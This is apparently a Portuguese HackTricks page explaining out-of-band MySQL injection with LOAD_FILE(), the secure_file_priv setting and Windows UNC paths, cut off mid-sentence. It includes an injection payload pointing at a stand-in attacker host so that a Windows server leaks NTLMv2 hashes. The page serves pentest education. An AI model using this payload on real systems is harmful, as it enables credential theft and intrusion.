* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
Todo artigo de exfiltração de dados SQL Out of Band usará a função de string `LOAD_FILE()` para fazer uma solicitação de rede. A função em si tem suas próprias limitações com base no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.
Por exemplo, se a variável global `secure_file_priv` não foi definida, o [valor padrão é definido como `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), o que significa que você só pode usar funções como `LOAD_FILE('filename')` ou `LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename` para ler arquivos do diretório `/var/lib/mysql-files/`. Para poder realizar leituras em arquivos fora deste diretório, a opção `secure_file_priv` deve ser definida como `""`, o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização `--secure_file_priv=""` para o serviço de banco de dados.
No entanto, em circunstâncias em que `secure_file_priv` é definido como `""`, deveríamos ser capazes de ler outros arquivos no sistema, assumindo que as permissões de leitura de arquivos e `file_priv` estão definidas como `Y` em `mysql.user` para o usuário do banco de dados atual. No entanto, ser capaz de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas relevantes para a rede que podem ser feitas são para caminhos UNC em hosts do Windows, já que o [api do Windows `CreateFileA` que é chamado ao acessar um arquivo entende as convenções de nomenclatura UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
Portanto, se o banco de dados de destino estiver sendo executado em uma máquina Windows, a consulta de injeção `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [resultaria na máquina Windows enviando hashes NTLMv2 na tentativa de autenticar com o `